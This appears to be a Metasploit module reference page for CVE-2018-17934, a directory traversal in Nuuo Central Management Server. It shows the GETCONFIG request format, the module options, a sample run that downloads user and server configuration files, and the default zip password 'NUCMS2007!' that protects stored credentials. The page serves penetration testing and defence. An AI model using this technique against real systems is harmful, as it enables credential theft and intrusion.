Nuuo Central Management Server Authenticated Arbitrary File Download - Metasploit


This page contains detailed information about how to use the auxiliary/gather/nuuo_cms_file_download metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Nuuo Central Management Server Authenticated Arbitrary File Download
Module: auxiliary/gather/nuuo_cms_file_download
Source code: modules/auxiliary/gather/nuuo_cms_file_download.rb
Disclosure date: 2018-10-11
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 5180
List of CVEs: CVE-2018-17934

The Nuuo Central Management Server allows an authenticated user to download files from the installation folder. This functionality can be abused to obtain administrative credentials, the SQL Server database password and arbitrary files off the system with directory traversal. The module will attempt to download CMServer.cfg (the user configuration file with all the user passwords including the admin one), ServerConfig.cfg (the server configuration file with the SQL Server password) and a third file if the FILE argument is provided by the user. The two .cfg files are zip-encrypted files, but due to limitations of the Ruby ZIP modules included in Metasploit, these files cannot be decrypted programmatically. The user will have to open them with zip or a similar program and provide the default password "NUCMS2007!". This module will either use a provided session number (which can be guessed with an auxiliary module) or attempt to login using a provided username and password - it will also try the default credentials if nothing is provided. All versions of CMS server up to and including 3.5 are vulnerable to this attack.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/nuuo_cms_file_download
msf auxiliary(nuuo_cms_file_download) > show targets
    ... a list of targets ...
msf auxiliary(nuuo_cms_file_download) > set TARGET target-id
msf auxiliary(nuuo_cms_file_download) > show options
    ... show and set options ...
msf auxiliary(nuuo_cms_file_download) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

Nuuo CMS Authenticated Arbitrary File Download

The GETCONFIG verb is used by a CMS client to obtain configuration files and other resources from the CMS server. An example request is below:

GETCONFIG NUCM/1.0
FileName: 
FileType: 
User-Session-No:

The FileType determines the directory where the file will be downloaded from. "FileType: 0" will download from the base installation directory (CMS_DIR), while "FileType: 1" will download from "<CMS_DIR>\Images\Map\". There are other defined FileType integers, but these have not been investigated in detail.

The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\..\) characters. Therefore, this function can be abused to obtain any files off the file system, including:

  • CMServer.cfg, a file zipped with the password "NUCMS2007!" that contains the usernames and passwords of all the system users (enabling a less privileged user to obtain the administrator's password)
  • ServerConfig.cfg, another file zipped with the password "NUCMS2007!" that contains the SQL Server "sa" password as well the FTP server username and password
  • Any other sensitive files in the drive where CMS Server is installed.

This module works in the following way:

  • if a SESSION number is present, uses that to login
  • if not, tries to authenticate with USERNAME and PASSWORD

Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.

NUUO Central Management Server (CMS): all versions up to and including 3.5.0

The following versions were tested:

  • 1.5.2 OK
  • 2.1.0 OK
  • 2.3.2 OK
  • 2.4.0 OK
  • 2.6.0 OK
  • 2.9.0 OK
  • 2.10.0 OK
  • 3.1 OK
  • 3.3 OK
  • 3.5 OK

Scenarios

Tested on Windows 10 Pro x64 running NCS Server 2.4.0

msf5 auxiliary(gather/nuuo_cms_file_download) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 auxiliary(gather/nuuo_cms_file_download) > exploit

[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_CMServer.cfg_227185.cfg
[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_ServerConfig.cfg_050084.cfg
[*] 172.22.222.200:5180 - The user and server configuration files were stored in the loot database.
[*] 172.22.222.200:5180 - The files are ZIP encrypted, and due to the lack of the archive/zip gem,
[*] 172.22.222.200:5180 - they cannot be decrypted in Metasploit.
[*] 172.22.222.200:5180 - You will need to open them up with zip or a similar utility, and use the
[*] 172.22.222.200:5180 - password NUCMS2007! to unzip them.
[*] 172.22.222.200:5180 - Annoy the Metasploit developers until this gets fixed!
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_file_download) >

Go back to menu.

Msfconsole Usage

Here is how the gather/nuuo_cms_file_download auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/nuuo_cms_file_download

msf6 auxiliary(gather/nuuo_cms_file_download) > show info

       Name: Nuuo Central Management Server Authenticated Arbitrary File Download
     Module: auxiliary/gather/nuuo_cms_file_download
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-10-11

Provided by:
  Pedro Ribeiro <[email protected]>

Check supported:
  No

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  DEPTH       2                yes       Directory traversal depth [..\]
  FILE                         no        Additional file to download
  NCSPASS                      no        Password for NCSUSER
  NCSSESSION                   no        Session number of logged in user
  NCSUSER     admin            no        NUUO Central Management System username
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT       5180             yes       The target port

Description:
  The Nuuo Central Management Server allows an authenticated user to 
  download files from the installation folder. This functionality can 
  be abused to obtain administrative credentials, the SQL Server 
  database password and arbitrary files off the system with directory 
  traversal. The module will attempt to download CMServer.cfg (the 
  user configuration file with all the user passwords including the 
  admin one), ServerConfig.cfg (the server configuration file with the 
  SQL Server password) and a third file if the FILE argument is 
  provided by the user. The two .cfg files are zip-encrypted files, 
  but due to limitations of the Ruby ZIP modules included in 
  Metasploit, these files cannot be decrypted programmatically. The 
  user will have to open them with zip or a similar program and 
  provide the default password "NUCMS2007!". This module will either 
  use a provided session number (which can be guessed with an 
  auxiliary module) or attempt to login using a provided username and 
  password - it will also try the default credentials if nothing is 
  provided. All versions of CMS server up to and including 3.5 are 
  vulnerable to this attack.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-17934
  https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
  https://seclists.org/fulldisclosure/2019/Jan/51
  https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt

Module Options

This is a complete list of options available in the gather/nuuo_cms_file_download auxiliary module:

msf6 auxiliary(gather/nuuo_cms_file_download) > show options

Module options (auxiliary/gather/nuuo_cms_file_download):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   DEPTH       2                yes       Directory traversal depth [..\]
   FILE                         no        Additional file to download
   NCSPASS                      no        Password for NCSUSER
   NCSSESSION                   no        Session number of logged in user
   NCSUSER     admin            no        NUUO Central Management System username
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       5180             yes       The target port

Advanced Options

Here is a complete list of advanced options supported by the gather/nuuo_cms_file_download auxiliary module:

msf6 auxiliary(gather/nuuo_cms_file_download) > show advanced

Module advanced options (auxiliary/gather/nuuo_cms_file_download):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   NCSBRUTEAPI  false            no        Bruteforce Version header used during login
   NCSTRACE     false            no        Show NCS requests and responses
   NCSVERSION                    no        Version header used during login
   VERBOSE      false            no        Enable detailed status messages
   WORKSPACE                     no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/nuuo_cms_file_download module can do:

msf6 auxiliary(gather/nuuo_cms_file_download) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/nuuo_cms_file_download auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/nuuo_cms_file_download) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to login to Nuuo CMS

Here is a relevant code snippet related to the "Failed to login to Nuuo CMS" error message:

66:	  def run
67:	    connect
68:	    res = ncs_login
69:	
70:	    unless res
71:	      fail_with(Failure::NoAccess, "Failed to login to Nuuo CMS")
72:	    end
73:	
74:	    download_file('CMServer.cfg')
75:	    download_file('ServerConfig.cfg')
76:

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.